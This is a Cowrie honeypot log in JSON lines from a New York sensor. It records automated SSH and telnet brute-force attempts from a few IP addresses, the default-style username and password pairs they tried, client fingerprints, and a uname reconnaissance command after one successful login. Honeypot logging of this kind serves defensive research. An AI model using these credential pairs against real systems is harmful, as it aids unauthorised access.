{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:59.577629Z","src_ip":"45.153.34.114","session":"050913ed9e6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51582,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5b70e4bd9f2","protocol":"ssh","message":"New connection: 103.75.199.4:51582 (159.203.135.109:22) [session: d5b70e4bd9f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:59.856293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:59.860955Z","src_ip":"103.75.199.4","session":"d5b70e4bd9f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:10:59.960528Z","src_ip":"103.75.199.4","session":"d5b70e4bd9f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:00.251250Z","src_ip":"103.75.199.4","session":"d5b70e4bd9f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:01.351403Z","src_ip":"103.75.199.4","session":"d5b70e4bd9f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44426,"dst_ip":"159.203.135.109","dst_port":22,"session":"896343c72428","protocol":"ssh","message":"New connection: 45.153.34.114:44426 (159.203.135.109:22) [session: 896343c72428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:05.960122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:05.972013Z","src_ip":"45.153.34.114","session":"896343c72428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:06.047867Z","src_ip":"45.153.34.114","session":"896343c72428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:06.385666Z","src_ip":"45.153.34.114","session":"896343c72428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:07.472983Z","src_ip":"45.153.34.114","session":"896343c72428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34258,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e801776116c","protocol":"ssh","message":"New connection: 45.153.34.114:34258 (159.203.135.109:22) [session: 9e801776116c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:14.212470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:14.243676Z","src_ip":"45.153.34.114","session":"9e801776116c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:14.296771Z","src_ip":"45.153.34.114","session":"9e801776116c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:14.630012Z","src_ip":"45.153.34.114","session":"9e801776116c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:14.853928Z","src_ip":"45.153.34.114","session":"9e801776116c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:14.857675Z","src_ip":"45.153.34.114","session":"9e801776116c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:14.951418Z","src_ip":"45.153.34.114","session":"9e801776116c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:14.957454Z","src_ip":"45.153.34.114","session":"9e801776116c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":43300,"dst_ip":"159.203.135.109","dst_port":23,"session":"502b0f83a6a4","protocol":"telnet","message":"New connection: 74.91.213.120:43300 (159.203.135.109:23) [session: 502b0f83a6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:19.819605Z"}
{"eventid":"cowrie.session.closed","duration":31.531033992767334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:21.818272Z","src_ip":"74.91.213.120","session":"483b39ee0a69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":56924,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb541ff9ff02","protocol":"ssh","message":"New connection: 103.75.199.4:56924 (159.203.135.109:22) [session: eb541ff9ff02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:21.943775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:21.947859Z","src_ip":"103.75.199.4","session":"eb541ff9ff02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.19697117805481,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:21.999310Z","src_ip":"74.91.213.120","session":"aac36b81bd66","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:22.042840Z","src_ip":"103.75.199.4","session":"eb541ff9ff02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55872,"dst_ip":"159.203.135.109","dst_port":22,"session":"da89bbf1fd35","protocol":"ssh","message":"New connection: 45.153.34.114:55872 (159.203.135.109:22) [session: da89bbf1fd35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:22.224960Z"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:22.330433Z","src_ip":"103.75.199.4","session":"eb541ff9ff02","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:22.335255Z","src_ip":"45.153.34.114","session":"da89bbf1fd35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:22.337521Z","src_ip":"45.153.34.114","session":"da89bbf1fd35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:22.799375Z","src_ip":"45.153.34.114","session":"da89bbf1fd35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:23.427964Z","src_ip":"103.75.199.4","session":"eb541ff9ff02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:23.894275Z","src_ip":"45.153.34.114","session":"da89bbf1fd35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":32800,"dst_ip":"159.203.135.109","dst_port":23,"session":"f35c184f5f4a","protocol":"telnet","message":"New connection: 74.91.213.120:32800 (159.203.135.109:23) [session: f35c184f5f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:27.849266Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46430,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6af82c2e327","protocol":"ssh","message":"New connection: 45.153.34.114:46430 (159.203.135.109:22) [session: d6af82c2e327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:30.186891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:30.191519Z","src_ip":"45.153.34.114","session":"d6af82c2e327","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:30.282274Z","src_ip":"45.153.34.114","session":"d6af82c2e327","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:30.779766Z","src_ip":"45.153.34.114","session":"d6af82c2e327","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:31.873979Z","src_ip":"45.153.34.114","session":"d6af82c2e327","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":32816,"dst_ip":"159.203.135.109","dst_port":23,"session":"734222c33a68","protocol":"telnet","message":"New connection: 74.91.213.120:32816 (159.203.135.109:23) [session: 734222c33a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:37.967508Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46458,"dst_ip":"159.203.135.109","dst_port":22,"session":"54519803fee3","protocol":"ssh","message":"New connection: 45.153.34.114:46458 (159.203.135.109:22) [session: 54519803fee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:38.277574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:38.292635Z","src_ip":"45.153.34.114","session":"54519803fee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:38.376059Z","src_ip":"45.153.34.114","session":"54519803fee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":48334,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c419ace7562","protocol":"telnet","message":"New connection: 74.91.213.120:48334 (159.203.135.109:23) [session: 6c419ace7562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:38.403011Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:38.708640Z","src_ip":"45.153.34.114","session":"54519803fee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:39.798233Z","src_ip":"45.153.34.114","session":"54519803fee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":48340,"dst_ip":"159.203.135.109","dst_port":23,"session":"32de34179a4c","protocol":"telnet","message":"New connection: 74.91.213.120:48340 (159.203.135.109:23) [session: 32de34179a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:40.229423Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":59896,"dst_ip":"159.203.135.109","dst_port":22,"session":"3974b67061b9","protocol":"ssh","message":"New connection: 103.75.199.4:59896 (159.203.135.109:22) [session: 3974b67061b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:43.797732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:11:43.801433Z","src_ip":"103.75.199.4","session":"3974b67061b9","protocol":"ssh"}
